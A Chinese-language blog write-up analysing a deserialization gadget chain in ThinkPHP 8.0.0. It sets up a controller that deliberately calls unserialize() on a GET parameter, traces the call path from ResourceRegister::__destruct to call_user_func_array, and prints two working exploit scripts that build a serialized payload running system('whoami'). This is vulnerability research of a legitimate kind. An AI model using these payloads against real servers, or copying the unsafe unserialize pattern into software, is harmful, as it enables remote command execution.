ThinkPHP 8.0.0 反序列化漏洞

环境搭建

  • 安装thinkphp8.0.0
  • 编写一个反序列化入口
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $a = $_GET['a'] ?? '';
        $data = unserialize($a);
        echo $data;
        return 'hello thinkphp 8!........unserialize........:)';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

代码审计

反序列化起点无非是destruct或wakeup方法,wakeup一般用于作对象初始化,多选择destruct方法作为起点

寻找入口

全局搜索__destruct(Ctrl+Shift+F)

image-20240906143529467

发现只有两个地方定义了__destruct方法

Connection.php

vendor/topthink/think-orm/src/db/Connection.php

image-20240906143834207

这是一个用于关闭数据库连接的函数,它定义在一个抽象类connection中,这个类实现了ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类

全局搜索:extends Connection

image-20240906145049184

这两个类的close方法都是些赋值语句,没有可以调用的方法

ResourceRegister.php

vendor/topthink/framework/src/think/route/ResourceRegister.php

image-20240906143754094

既然上面那个入口没有办法利用,我们就从这个入口来进行分析

sink点选择

选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论

sink点就是执行恶意代码的漏洞点,大多框架的反序列化sink点会选择call方法,也就是说一般危险操作都在call函数里执行,这个漏洞利用的是vendor/topthink/framework/src/think/Validate.php#__call()方法。

__call()

image-20240906193700924

当触发__call()之后,被调用的不存在的方法会作为__call()的第一个参数,其参数会以数组的形式赋值给__call()的第二个参数

然后就会调用call_user_func_array([$this, 'is'], $args);

这里相当于call_user_func_array(this->is(), $args);其实就是调用is()方法,然后将$args作为参数传给is(),也就是说在is()这个方法里,他的所有参数都是可控的。

is()

image-20240906194058521

可以看到这里的call_user_func_array()的两个参是变量,所以我们的最终目的就是调用call_user_func_array()来调用任意方法。

$this->type[$rule]

将type键名为$rule的值定义为要调用的函数,type直接赋值就好

[$value]

命令的参数,需要__call()传入

也就是$arg只需要传一个字符串类型的参数,作为被调用命令的参数

条件:

  • 通过if判断
if (isset($this->type[$rule]))

要满足type这个数组中有键名为$rule的元素,type是Validate类中一个定义为空的数组。

参数:

call_user_func_array($this->type[$rule], [$value]);

type中的$rule键对应的值就是要调用的函数,$value直接作为被调函数的参数

分析调用链

__destruct()

vendor/topthink/framework/src/think/route/ResourceRegister.php

image-20240906151335387

由于registered默认为flase,所以这里会自动调用register()

register()

image-20240906151533152

由于这个函数的resource可控,这里就可以在$this->resource->getRule()去触发call方法,只需要将resource赋值为一个不存在的类,但是getRule()方法是无参的,也就是说没有办法给__call()方法中的$args参数传参,无法进行进一步的利用。所以这个思路不行。

parseGroupRule()

image-20240906153300781

getRule()方法就是返回一个字符串作为参数$rule,这个值也是可控的,跟进parseGroupRule()发现这里存在大量的字符串拼接操作,于是我们考虑触发__toString()方法

首先一眼看到这串代码

$rule = implode('/', $item) . '/' . $last;

它将$item的元素用/进行分割,然后在后面拼接/和$last,要触发__toString()就要将$last赋值为一个实例化对象

找找$last的相关定义

$array = explode('.', $rule);
$last  = array_pop($array);

发现$last由$rule定义,只能为字符串,所以这个地方不能触发__toString()

继续往下看

            foreach ($array as $val) {
                $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
            }

这个foreach循环,首先将$array中的每个元素便利为$val,然后进行了一个字符串拼接操作:先是$val'/<'拼接,然后拼接($option['var'][$val] ?? $val . '_id'),这里是一个三元运算符,如果$option['var'][$val]存在,就将($option['var'][$val]和前面的值拼接,如果这个值不存在,就将$val'_id'拼接,然后再和前面拼接,最后再拼接一个'>'

$val是不可能为一个对象的,那么只能让$option['var'][$val]为一个对象

以类似如下的方式传参即可

$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];

__toString()

这里选择我们的老朋友

vendor/topthink/think-orm/src/model/concern/Conversion.php

image-20240906191355339

toJson()

image-20240907142653210

toArray()

image-20240907141817322

appendAttrToArray()

image-20240906191835117

getRelationWith()

image-20240906191712959

我们可以在这个地方触发__call()方法

$relation->visible($visible[$key]);

也就是要将$relation赋值为一个没有定义visible方法的对象,$visible[$key]就会传给__call()的第二个参数

先分析$relation:

他是由以下代码定义的

$relation = $this->getRelation($key, true);

跟进getRelation()

image-20240907162038096

        if (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];return $this->relation[$name];

只要满足了this->relation中有一个名为$name的键,就会返回relation中$name对应的值,这个值就可以被赋值为一个对象,为了满足这个条件,我们去找找$name是怎么定义的

通过函数的参数传递,我们最终在toarray()方法里找到了$name的定义

image-20240907163542743

这里的$key就会最终被赋值给$name

可以看到他是append的一个键,我们只需要在append数组中赋值一个键值对,他的键和我们定义的relation数组的键名相等就可以了。使用类似如下的定义方法

 $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()];

再分析$visible[$key]

在toarray()里,为$visible进行了一个赋值操作,它将this->visible进行了一个遍历,然后赋值给$visible

image-20240907164526833

在sink点选择我们就分析过:$arg只需要传一个字符串类型的参数,作为被调用命令的参数

这里就会遇到一个问题,我们要$visible[$key]为一个字符串,但是如果$val是一个字符串,那就不能按我们想要的方式去赋值,那么怎么办呢?这个地方确实很难想,按照漏洞发现者的想法,他将$val赋值为一个对象,然后这个对象会被传给__call(),但是在后续函数调用的时候,这个参数被当作字符串处理,于是就会触发__tostring(),如果__tostring()恰好可以返回一个可控字符串,那么这个字符串就会作为__call()的参数返回

vendor/symfony/var-dumper/Caster/ConstStub.php

image-20240907172400840

这个函数正好满足要求,并且$value也可以直接赋值

__call()

image-20240906193700924

按照上面的分析,触发和传参都搞定了。

is()

image-20240906194058521

最后就将type的$rule键赋值为命令就好了

构造exp

exp0.php

<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        private $relation;
        protected $append = ['Nivia' => "1.2"];

        protected $visible;
        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }

    class Validate{
        protected $type;

        public function __construct(){
            $this->type = ['visible' => "system"];//function
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        public function __construct($visible, $call){
            parent::__construct($visible, $call);
        }
    }
}

namespace Symfony\Component\VarDumper\Caster{
    use Symfony\Component\VarDumper\Cloner\Stub;
    class ConstStub extends Stub{}
}

namespace Symfony\Component\VarDumper\Cloner{
    class Stub{
        public $value = "whoami"; //cmd
    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(serialize($resourceRegister));
}

exp1.php

<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}

namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
    public $value="whoami";

}

namespace think;


use Symfony\Component\VarDumper\Caster\ConstStub;

class Validate{
    protected $type;
    public function __construct(){
        $this->type=["visible"=>"system"];
    }

}

abstract class Model{
    protected $append=["a"=>"1.1"];
    private $relation;
    protected $visible;
    public function __construct(){
        $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{
}

namespace think\route;


use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option =["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo urlencode(serialize($obj));

image-20240907202036710

posted @ 2024-09-07 20:21  Litsasuk  阅读(1103)  评论(0)    收藏  举报